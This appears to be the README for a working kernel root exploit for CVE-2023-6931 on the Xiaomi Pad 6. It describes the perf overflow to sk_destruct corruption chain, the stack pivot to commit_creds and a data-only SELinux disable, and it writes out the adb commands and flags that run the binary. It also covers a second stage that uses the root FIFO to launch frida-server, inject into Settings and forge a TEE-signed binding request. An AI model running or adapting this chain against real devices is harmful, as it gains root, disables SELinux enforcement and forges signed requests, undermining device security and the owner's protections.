
Kernel LPE exploit for CVE-2023-6931 on Xiaomi Pad 6 (pipa), chaining a perf read_size overflow to root and disabling SELinux via data-only netlink_sock sk_destruct corruption.
The final version of the exploit used on the device, organized separately in this directory.
Device Xiaomi Pad 6 / pipa / SM8250
System HyperOS OS2.0.20.0.UMZCNXM
Kernel 4.19.157-perf-g240e1d0a5f52
Start adb shell (shell domain)
Result One-shot uid0 + global SELinux permissive (lost on reboot)
See the file header of exploit.c, summarized below.
1) perf group read_size overflow -> out-of-bounds u64 increment primitive
2) increment victim netlink_sock->sk_destruct -> netlink_sock_destruct_work (+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
-> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
-> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) Stack pivot to skb payload inside fake (pt_regs1 @ +960, pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root
Disabling SELinux uses a pure data overwrite: fake+0x248 points to selinux_state, and the atomic_dec in __sk_destruct decrements the enforcing field in the lowest byte segment of that word from 1 to 0.
| File | Description |
|---|---|
exploit.c | Source code. Development-process comments removed; structural comments such as the file-header chain description, offset tables, and struct layouts retained |
text_syms.h | .text symbol table generated from the device kallsyms dump, required for compilation |
ro_syms.h | Same as above, read-only data symbol table, required for compilation |
exploit_selinux8 | The binary actually run on the device, identical to the one used by the driver script |
build.sh | Build script |
SHA256SUMS | Checksums of the above files |
./build.sh # outputs to exploit in this directory
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit
The command line used by the driver script .project/scripts/drive_selinux_off.sh:
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'
adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
--selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
> /data/local/tmp/run.out 2>&1 < /dev/null &'
Parameter meanings:
--selinux-off Disable SELinux (pure data overwrite path), also includes cred forgery
--layout-interleave Interleave allocation sequences so the OOB increment lands on the target object's sk_destruct
--tsec-sid 1 Forged cred's security context sid/osid (use 1 when the real domain sid cannot be obtained)
--alarm-us 5000000 Self-wakeup ITIMER_REAL, stuck attempts exit after 5 seconds
Prerequisites and limitations:
shell domain can reach perf_event and netlink_route; the app domain cannot, so it must be started from adb shell;perf_event_mlock_kb = 516, do not run repeatedly within the same boot; if the previous instance does not exit, events are not released, and a rerun will only create 4000 to 6000;kill -9 to clean up old instances before retrying when needed, otherwise count it as one effective attempt per boot;pause(); root and permissive are only valid for the current boot.--edl, --edl2), used to deterministically enter EDL from the root window; this directory only includes the final version actually used.This directory only contains the first stage. The full chain is actually two segments, and the handoff point is the root command channel left by the first stage.
Stage 1 exploit_selinux8 Kernel privilege escalation + disable SELinux, then stops at the root command channel
Output: uid0 + permissive, channel = FIFO /data/local/tmp/root_in|root_out
(also an abstract unix socket rootshell / rootshell2, and --root-client PORT mode)
Stage 2 stage2-frida/ Uses the above channel to start frida-server as root, injects into Settings
Output: binding request constructed and sent from within the app process (TEE signature)
At the end of stage 1, ROOTSHELL_OK is written to /data/local/tmp/root_proof.txt as proof of executable commands. After that, any root action from the host is just writing a line of command into the FIFO, for example the one that starts frida-server in stage 2:
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
</dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"
runcon u:r:shell:s0 cannot be omitted: after SELinux is disabled, if frida-server runs in the kernel domain, it cannot obtain the Android Context, and PackageManager will NPE.
| File | Description |
|---|---|
exp_forge_send.sh | Pushes and starts frida-server 16.7.19, ensures Settings is running, gets pid, runs agent |
frida_run.py | frida client wrapper, supports FRIDA_PID direct attach and FRIDA_SPAWN self-spawn (bypassing am/pm) |
forge_send.js | Copies getNonce inside the Settings process, signs applyBind with the old field set, and sends it |
External dependencies (not bundled with this directory): frida-server 16.7.19 (54 MB, located at .project/tools/ext/frida/fs16, sha256 prefix 4eebf1fbc66ff54aba9a9124) and the corresponding python client (.project/tools/ext/fridavenv16, frida 16.7.19). 16.x is used instead of 17.x because the 17 agent does not have a Java bridge.
The full call chain is orchestrated by .project/scripts/drive_selinux_off.sh: the first action after hitting the root window is bash .project/scripts/exp_forge_send.sh, and the loop stops once code 0 is obtained.
exploit_selinux8 is the delivered original; see SHA256SUMS for checksums. Rebuilding from the source in this directory produces a different binary:
Rebuilt from this directory's source 1,853,744 B f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
Rebuilt from original source 1,853,752 B 96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
The one actually run 1,853,720 B 279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a
The differences have been located symbol by symbol, and there is only one source: two extra modes in the command-line argument table.
--edl Frame 2 calls __qcom_scm_set_dload_mode(dev, 1)
--edl2 Frame 2 directly writes the dload cookie
| Comparison Item | Result |
|---|---|
| Symbols with differing function sizes | Only main (shipped 17,744 B, rebuilt 18,004 B, difference 260 B ≈ 65 instructions) |
| The other 1,503 functions | Sizes completely identical, no additions or removals |
| Symbols present only in the rebuild | edl_mode, one |
| Command-line argument table | shipped 85, rebuilt 87, the extras being exactly --edl and --edl2 |
Total .text instruction count | 126,533 vs 126,597, difference of 64, consistent with the difference in main |